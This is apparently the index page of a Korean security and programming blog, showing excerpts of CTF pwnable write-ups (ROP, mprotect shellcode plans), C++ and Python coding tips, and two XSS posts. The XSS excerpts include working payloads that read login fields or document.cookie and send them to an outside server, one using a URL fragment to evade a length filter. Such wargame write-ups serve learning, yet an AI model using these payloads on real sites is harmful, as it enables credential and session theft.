전체 글 173

[j0n9hyun] Unexploitable 2

1번과 마찬가지로 취약점은 그냥 준다. system() 함수의 plt도 그냥 준다. 1번과 다른 점은... "sh\x00"의 고정 주소가 없다는 점이다.고정주소에 "/bin/sh\x00"를 올리고 이를 system() 함수의 매개변수로 주면 된다. 시나리오는 다음과 같다. 1. 오버플로우 시킬 때 rbp를 bss로 넣어주고, 취약한 함수를 다시 부른다.2. 이때 인풋을 bss에 받기 때문에 "/bin/sh\x00"를 올리고 바로 system() 함수를 부른다. rbp를 bss로 덮는 이유는, 두 번째 fgets() 함수 호출시 입력을 bss에 넣기 위함이다.fgets() 함수가 입력 받을 때 입력 버퍼 주소를 다음과 같이 rbp를 기준으로 잡는다. 첫 번째 오버플로우시 rbp를 bss+0x10으로 잡아주..

[j0n9hyun] Unexploitable 1

main() 함수에서 fgets() 함수로 입력을 받는데, 일단 취약점을 주고 시작한다. 보다시피 바이너리에는 고정 주소에 "sh\x00"이 박혀있다. 확인 한 번 더. 그 이유는 fflush() 함수 때문인데, 바이너리 안에는 사용하는 라이브러리 함수 이름들이 다음과 같이 박혀있다. fflush의 문자열 일부가 "sh\x00"으로 인식되는 것이다.이 영역은 .dynstr 영역이며, objdump로도 확인 가능하다.objdump -h Unexploitable_1로 각 섹션을 확인한 모습이다. 5번에 .dynstr 영역이 보인다. 이 영역의 문자열을 긁으면 따란. 그리고 또 system()함수의 plt도 주어졌다. 필요한건 다 찾은 것 같다. pop rdi가젯으로 "sh\x00"주소를 rdi에 넣어주고, ..

matplotlib에서 show() 할 때 빈 화면 해결

import matplotlib.pyplot as plt에서 그래프를 실컷 그리고plt.show()로 출력을 하면 다음과 같이 빈 화면이 떠버린다(...)그냥 실행하면 잘 나오는데, 꼭 파이썬 가상환경 내에서 실행하면 저렇게 나와버린다...모든 모듈을 로컬에 쌩으로 설치 할 수도 없는지라....(그동안은 어쩔 수 없이 다 가상환경 바깥에 설치해 썼음...ㅡㅡ!)구글링을 엄청나게 했지만 해답을 찾지 못 했다. 재설치해라, plt.use("TKAgg")를 해라, 등 엄청 많은 해결법이 있었지만 다 실패하고...우연히 엄청 단순한 방법으로 성공시켰다.그냥 plt.show 전에plt.savefig('test.png') 한 번만 해주면 된다. 그러면 test.png가 생기고 따란 성공

Programming/python 2019.07.11

PlaidCTF 2013 ropasaurusrex

인터넷에 풀이가 많이 있는데, 대부분 GOT덮고 system 함수를 부르는 방법이다. 쉘코드를 올려서 푸는 방법으로 풀이 해보고자 한다. 바이너리에는 NX가 걸려있기 때문에 바로 쉘코드로 뛰면 segmentation fault가 뜰 것이다. 그래서 mprotect 함수로 실행 권한을 풀어주고, 그쪽으로 뛰어주면 되겠다. 시나리오는 다음과 같다. 1. GOT를 이용해 libc 릭 2. 취약한 함수를 다시 불러서 오버플로우를 한 번 더 발생시킨다. 3. mprotect 함수로 bss에 rwx권한을 모두 준다. (prot=7) 4. read 함수로 bss에 쉘코드를 받는다. 5. read 함수가 끝나고 쉘코드 주소로 뛴다. 앞서 언급한 GOT를 덮는 방법으로 풀어본 경험이 있다면, 페이로드를 짜는데 특별히 까..

write-up/pwnable 2019.07.11

PS를 위한 C++ - string

C++의 string은 C언어의 문자열보다 훨~씬 간편하다. C++의 string도 vector만큼 간편하다. 어느 정도냐 하면 아마 파이썬만큼 강력하지 않을까 싶다. C++의 string은 본래 std::string이지만, PS할 때는 편의상 그냥 string으로 표기한다. 선언 string s; s = "hello world"; 1. 생성자로 만들기 string s("hello world"); 2. 복사로 만들기 string str = s; 3. 원소 바꿔치기 파이썬에서는 안 되는 기능이다. s[3] = 'a'; string의 각 원소는 char임을 주의해야 한다. 4. 문자열 접합 (concat) string str = s + " ddari"; STL과 결합하면 더욱 강력해진다. 5. 문자열 뒤집기..

Programming/PS 2019.06.26

PS를 위한 C++ - vector

PS를 할 때 나는 거의 대부분 C++를 쓴다. (C++11) 왜냐하면 C++에 정말 엄청난 툴인 STL이 있기 때문이다. 그중 나에게 최애는 단연 vector이다. vector는 작고 간편하지만, 정말 많은 상황들에서 강력한 힘을 발휘한다. 난 대부분의 상황들을 거의 vector로 처리한다. C++의 vector는 본래 std::vector이지만, PS할 때는 편의상 그냥 vector로 표기 한다. 벡터는 만드는 것도 참 간단하다. vector v; 생성자로 만드려면 vector v(10); // size == 10, all elements will be 0 1. 정렬 (O(nlogn)) sort(v.begin(), v.end()); // asc sort(v.begin(), v.end(), greate..

Programming/PS 2019.06.26

python으로 PS할 때 입력 받기

파이썬으로 PS할 때 입력받기 좀 까다로운데, 이렇게 하면 된다. (python2 기준) 숫자 하나가 들어오면 괜찮다.n = int(raw_input())와 같이 하면 된다.raw_input()으로 받으면 항상 문자열임을 주의하자. 숫자가 두 개이상 들어올 때에는 n, m = raw_input().split(' ') 과 같이 해주면 이쁘게 n, m에 각각 들어간다. 이 문자열을 n = eval(n) m = eval(m) 이렇게 하면 된다. 아래는 복붙용 n, m = raw_input().split(' ') n = eval(n) m = eval(m)

Programming/PS 2019.06.26

XSS로 아이디, 패스워드 탈취

원리는 다음과 같다.1. document.getElementById('uid').value로 아이디, 패스워드를 가져온다.2. 변수에 넣고 내 서버로 날리면 끝.3. location.href같은거 쓰면 페이지 이동이 되니까, 그냥 Image().src='http://server/id/pw';이렇게 해주고 서버에 access.log를 본다. (아니면 파라미터 넘겨도 되고)4. 쿼터가 막혀있을 수 있으니 String.fromCharCode()를 써서 아스키화 한다. id=document.getElementById(String.fromCharCode(117,105,100)).value;pw=document.getElementById(String.fromCharCode(117,112,119)).value;Ima..

웹/XSS 2019.06.26

Stage 23

길이제한이 있어서 상당히 빡셌다.원평이에게 힌트를 얻었는데 fragment url이란다. 구글링했는데 개 오지는 기법인것 같다. 글자길이 필터링은 어쩌피 서버측인데, # 뒤는 서버로 안 넘어가는 것을 이용한 익스다. 여러 삽질 끝에 얻은 페이로드는 ?q=#window.location='//dongmin2.tk?'%2bdocument.cookie location.hash가 뒤에 #부분을 파싱해서 가져온다.근데 #도 같이 가져와버려서 substr로 잘라버렸다. 최종 익스는http://51b123fbd6a21b3cf43f49e0a1014221e191c7db.knock.xss.moe/?q=#window.location='//dongmin2.tk?'+document.cookie